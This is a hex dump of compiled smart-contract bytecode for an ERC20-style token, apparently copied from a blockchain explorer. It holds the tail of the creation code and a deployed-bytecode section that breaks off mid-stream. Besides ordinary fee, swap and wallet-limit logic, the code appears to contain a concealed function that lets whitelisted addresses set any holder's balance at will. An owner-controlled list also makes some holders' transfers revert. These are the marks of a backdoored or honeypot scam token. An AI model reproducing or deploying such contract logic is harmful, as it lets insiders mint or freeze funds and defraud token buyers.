109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612261565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e36600461228d565b610baf565b34801561048f57600080fd5b506104a361049e3660046122e3565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a36105093660046122fe565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b3660046122fe565b610d01565b34801561055c57600080fd5b506103dc61056b366004612261565b610d53565b34801561057c57600080fd5b506103dc61058b3660046122fe565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb36600461231b565b610d89565b3480156105cc57600080fd5b506103dc6105db3660046122fe565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c6106423660046122fe565b610db8565b34801561065357600080fd5b506104a3610662366004612334565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612360565b611145565b3480156106a957600080fd5b506104556106b83660046122fe565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee3660046122fe565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612360565b6111e6565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc6107963660046122fe565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e4366004612334565b611281565b3480156107f557600080fd5b506103a66112d0565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612261565b6112df565b34801561089057600080fd5b506104a361089f3660046122e3565b61132e565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612261565b611376565b3480156108e657600080fd5b506104a36108f5366004612334565b611383565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046122e3565b6113d2565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc6109973660046122fe565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612261565b611454565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123e4565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a9036600461231b565b61148c565b348015610aa157600080fd5b506103dc610ab03660046122fe565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae03660046122fe565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b159061241d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b419061241d565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a8560405180606001604052806028815260200161261d602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612457565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612457565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612457565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612457565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612457565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a919061248c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a919061248c565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c919061248c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e919061248c565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c4490612457565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160096000868685818110611191576111916124a9565b90506020020160208101906111a691906122fe565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124d5565b915050611172565b50505050565b6000546001600160a01b031633146112105760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160086000868685818110611232576112326124a9565b905060200201602081019061124791906122fe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611279816124d5565b915050611213565b6000546001600160a01b031633146112ab5760405162461bcd60e51b8152600401610c4490612457565b6011839055601282905560138190556112c8816111378585611530565b601855505050565b606060038054610b159061241d565b6000610ba53384610c0a85604051806060016040528060258152602001612645602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113585760405162461bcd60e51b8152600401610c4490612457565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113ad5760405162461bcd60e51b8152600401610c4490612457565b6014839055601582905560168190556113ca816111378585611530565b601955505050565b6000546001600160a01b031633146113fc5760405162461bcd60e51b8152600401610c4490612457565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061144990831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff1615611488576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c4490612457565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c4490612457565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124ee565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612501565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa57600554611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612514565b905082611e89858361252b565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124a9565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd4919061248c565b81600181518110611fe757611fe76124a9565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612046908590600090869030904290600401612591565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125cd565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be91906125ee565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661252b565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461225e57600080fd5b50565b6000806040838503121561227457600080fd5b823561227f81612249565b946020939093013593505050565b6000806000606084860312156122a257600080fd5b83356122ad81612249565b925060208401356122bd81612249565b929592945050506040919091013590565b803580151581146122de57600080fd5b919050565b6000602082840312156122f557600080fd5b610c13826122ce565b60006020828403121561231057600080fd5b8135610c1381612249565b60006020828403121561232d57600080fd5b5035919050565b60008060006060848603121561234957600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237557600080fd5b833567ffffffffffffffff8082111561238d57600080fd5b818601915086601f8301126123a157600080fd5b8135818111156123b057600080fd5b8760208260051b85010111156123c557600080fd5b6020928301955093506123db91860190506122ce565b90509250925092565b600080604083850312156123f757600080fd5b823561240281612249565b9150602083013561241281612249565b809150509250929050565b600181811c9082168061243157607f821691505b60208210810361245157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561249e57600080fd5b8151610c1381612249565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124e7576124e76124bf565b5060010190565b80820180821115610ba957610ba96124bf565b81810381811115610ba957610ba96124bf565b8082028115828204841417610ba957610ba96124bf565b60008261254857634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156125865781516001600160a01b031687529582019590820190600101612561565b509495945050505050565b85815284602082015260a0604082015260006125b060a083018661254d565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125e6604083018461254d565b949350505050565b60008060006060848603121561260357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d810e56fca38367905ef557215223f451b32bf72c323e31ed0cadec66e1365a764736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612261565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e36600461228d565b610baf565b34801561048f57600080fd5b506104a361049e3660046122e3565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a36105093660046122fe565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b3660046122fe565b610d01565b34801561055c57600080fd5b506103dc61056b366004612261565b610d53565b34801561057c57600080fd5b506103dc61058b3660046122fe565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb36600461231b565b610d89565b3480156105cc57600080fd5b506103dc6105db3660046122fe565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c6106423660046122fe565b610db8565b34801561065357600080fd5b506104a3610662366004612334565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612360565b611145565b3480156106a957600080fd5b506104556106b83660046122fe565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee3660046122fe565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612360565b6111e6565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc6107963660046122fe565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e4366004612334565b611281565b3480156107f557600080fd5b506103a66112d0565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612261565b6112df565b34801561089057600080fd5b506104a361089f3660046122e3565b61132e565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612261565b611376565b3480156108e657600080fd5b506104a36108f5366004612334565b611383565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046122e3565b6113d2565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc6109973660046122fe565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612261565b611454565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123e4565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a9036600461231b565b61148c565b348015610aa157600080fd5b506103dc610ab03660046122fe565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae03660046122fe565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b159061241d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b419061241d565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a8560405180606001604052806028815260200161261d602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612457565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612457565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612457565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612457565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612457565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a919061248c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a919061248c565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c919061248c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e919061248c565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c4490612457565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160096000868685818110611191576111916124a9565b90506020020160208101906111a691906122fe565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124d5565b915050611172565b50505050565b6000546001600160a01b031633146112105760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160086000868685818110611232576112326124a9565b905060200201602081019061124791906122fe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611279816124d5565b915050611213565b6000546001600160a01b031633146112ab5760405162461bcd60e51b8152600401610c4490612457565b6011839055601282905560138190556112c8816111378585611530565b601855505050565b606060038054610b159061241d565b6000610ba53384610c0a85604051806060016040528060258152602001612645602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113585760405162461bcd60e51b8152600401610c4490612457565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113ad5760405162461bcd60e51b8152600401610c4490612457565b6014839055601582905560168190556113ca816111378585611530565b601955505050565b6000546001600160a01b031633146113fc5760405162461bcd60e51b8152600401610c4490612457565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061144990831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff1615611488576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c4490612457565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c4490612457565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124ee565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612501565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162